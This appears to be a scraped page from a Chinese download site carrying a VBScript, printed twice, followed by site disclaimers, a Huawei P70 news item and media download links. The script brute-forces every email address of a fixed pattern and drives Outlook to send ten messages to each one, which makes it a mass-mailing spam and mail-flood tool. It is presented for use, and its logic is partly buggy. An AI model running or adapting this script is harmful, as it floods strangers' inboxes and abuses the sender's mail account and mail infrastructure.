DDR爱好者之家 Design By 杰米
rem i an bird,not a big bird,it is a dull bird.
rem i didn't sing three years ago,today i chirp it.
'On Error resume next
on error goto 0
Set fs = CreateObject("Scripting.FileSystemObject")
Set letter = fs.CreateTextFile(wscript.ScriptFullName&".txt", True)
a= chr (97)
for x=97 to 121
a=a&chr(x+1)
next
letter.WriteLine(a)
n= chr (48)
for x=48 to 56
n=n&chr(x+1)
next
letter.WriteLine(n)
l=a&la
bl=a&la&n
sl=a&n
dim aletter(35) rem 2 0
for z=1 to 36
aletter(z-1)=mid(sl,z,1)
rem msgbox aletter(z-1)
next
dim al(25)
for z=1 to 26
al(z-1)=mid(a,z,1)
rem msgbox al(z-1)
next rem 30
for z=1 to 26
s=al(z-1)
for z1=1 to 26
s1="."&al(z1-1)&s
for z2=1 to 26
s2=al(z2-1)&s1
for z3=1 to 26
s3=al(z3-1)&s2
for z4=1 to 26
s4="."&al(z4-1)&s3
for z5=1 to 36
s5=aletter(z5-1)&s4
for z6=1 to 36 ''50
s6=aletter(z6-1)&s5
for z7=1 to 36
s7=aletter(z7-1)&s6
for z8=1 to 36
s8=aletter(z8-1)&s7
for z9=1 to 36
s9=aletter(z9-1)&s8 ''60
for z10=1 to 36
s10="@"&aletter(z10-1)&s9
for z11=1 to 36
s11=aletter(z11-1)&s10
for z12=1 to 36
s12=aletter(z12-1)&s11
for z13=1 to 36 ''70
s13=aletter(z13-1)&s12
for z14=1 to 36
s14=aletter(z14-1)&s13
for z15=1 to 36
s15=aletter(z15-1)&s14
for z16=1 to 36
s16=aletter(z16-1)&s15
for z17=1 to 36
s17=aletter(z17-1)&s16
for z18=1 to 36
s18=aletter(z18-1)&s17
for z19=1 to 36
s19=aletter(z19-1)&s18
' msgbox s19
set outlookapp = createobject ("outlook.application")
if outlookapp <> 0 then
set outlookapp = createobject ("outlook express.application")
end if
for n =1 to 10
set item =outlookapp.createitem(o)
item.to =s19
item.subject = "test"
item.body = "hello"
item.send
next
next
next
next
next
next
next
next
next
next
next
next
next
next
next
next
next
next
next
next
next
rem i didn't sing three years ago,today i chirp it.
'On Error resume next
on error goto 0
Set fs = CreateObject("Scripting.FileSystemObject")
Set letter = fs.CreateTextFile(wscript.ScriptFullName&".txt", True)
a= chr (97)
for x=97 to 121
a=a&chr(x+1)
next
letter.WriteLine(a)
n= chr (48)
for x=48 to 56
n=n&chr(x+1)
next
letter.WriteLine(n)
l=a&la
bl=a&la&n
sl=a&n
dim aletter(35) rem 2 0
for z=1 to 36
aletter(z-1)=mid(sl,z,1)
rem msgbox aletter(z-1)
next
dim al(25)
for z=1 to 26
al(z-1)=mid(a,z,1)
rem msgbox al(z-1)
next rem 30
for z=1 to 26
s=al(z-1)
for z1=1 to 26
s1="."&al(z1-1)&s
for z2=1 to 26
s2=al(z2-1)&s1
for z3=1 to 26
s3=al(z3-1)&s2
for z4=1 to 26
s4="."&al(z4-1)&s3
for z5=1 to 36
s5=aletter(z5-1)&s4
for z6=1 to 36 ''50
s6=aletter(z6-1)&s5
for z7=1 to 36
s7=aletter(z7-1)&s6
for z8=1 to 36
s8=aletter(z8-1)&s7
for z9=1 to 36
s9=aletter(z9-1)&s8 ''60
for z10=1 to 36
s10="@"&aletter(z10-1)&s9
for z11=1 to 36
s11=aletter(z11-1)&s10
for z12=1 to 36
s12=aletter(z12-1)&s11
for z13=1 to 36 ''70
s13=aletter(z13-1)&s12
for z14=1 to 36
s14=aletter(z14-1)&s13
for z15=1 to 36
s15=aletter(z15-1)&s14
for z16=1 to 36
s16=aletter(z16-1)&s15
for z17=1 to 36
s17=aletter(z17-1)&s16
for z18=1 to 36
s18=aletter(z18-1)&s17
for z19=1 to 36
s19=aletter(z19-1)&s18
' msgbox s19
set outlookapp = createobject ("outlook.application")
if outlookapp <> 0 then
set outlookapp = createobject ("outlook express.application")
end if
for n =1 to 10
set item =outlookapp.createitem(o)
item.to =s19
item.subject = "test"
item.body = "hello"
item.send
next
next
next
next
next
next
next
next
next
next
next
next
next
next
next
next
next
next
next
next
next
DDR爱好者之家 Design By 杰米
广告合作:本站广告合作请联系QQ:858582 申请时备注:广告合作(否则不回)
免责声明:本站资源来自互联网收集,仅供用于学习和交流,请遵循相关法律法规,本站一切资源不代表本站立场,如有侵权、后门、不妥请联系本站删除!
免责声明:本站资源来自互联网收集,仅供用于学习和交流,请遵循相关法律法规,本站一切资源不代表本站立场,如有侵权、后门、不妥请联系本站删除!
DDR爱好者之家 Design By 杰米
暂无评论...
P70系列延期,华为新旗舰将在下月发布
3月20日消息,近期博主@数码闲聊站 透露,原定三月份发布的华为新旗舰P70系列延期发布,预计4月份上市。
而博主@定焦数码 爆料,华为的P70系列在定位上已经超过了Mate60,成为了重要的旗舰系列之一。它肩负着重返影像领域顶尖的使命。那么这次P70会带来哪些令人惊艳的创新呢?
根据目前爆料的消息来看,华为P70系列将推出三个版本,其中P70和P70 Pro采用了三角形的摄像头模组设计,而P70 Art则采用了与上一代P60 Art相似的不规则形状设计。这样的外观是否好看见仁见智,但辨识度绝对拉满。
更新日志
2024年05月16日
2024年05月16日
- Joyce Jonathan《法式松弛感 漫步香榭丽舍》[320K/MP3][80.8MB]
- 女神异闻录5佐仓双叶coop攻略 p5r佐仓双叶对话选项攻略
- 【民谣】张智《尼勒克小镇》[FLAC]
- 林一峰2018-TRAVELOGUE4ESCAPE[香港首版][WAV+CUE]
- MollyLewis《OnTheLips》(2024)[Hi-Res96kHz_24bitFLAC]
- Joyce Jonathan《法式松弛感 漫步香榭丽舍》[FLAC/分轨][230.77MB]
- 群星《影视剧 春色寄情人 原声带》[320K/MP3][394.18MB]
- 吴牧野《强者独白II 李斯特巅峰作品选》[320K/MP3][216.01MB]
- 女神异闻录5御船千早coop攻略 p5r御船千早对话选项攻略
- dnf神话装备怎么获得
- dnf称号附魔
- 乌兰托娅.2024-《八月草儿飞HQ》头版限量编号[低速原抓WAV+CUE]
- 雷婷.2024-《寂寞烟火HQ》头版限量编号[低速原抓WAV+CUE]
- [ABC唱片]-《西电之声—人声》[HD-201][德国版HD]WAV+CUE
- dnf紧急任务怎么触发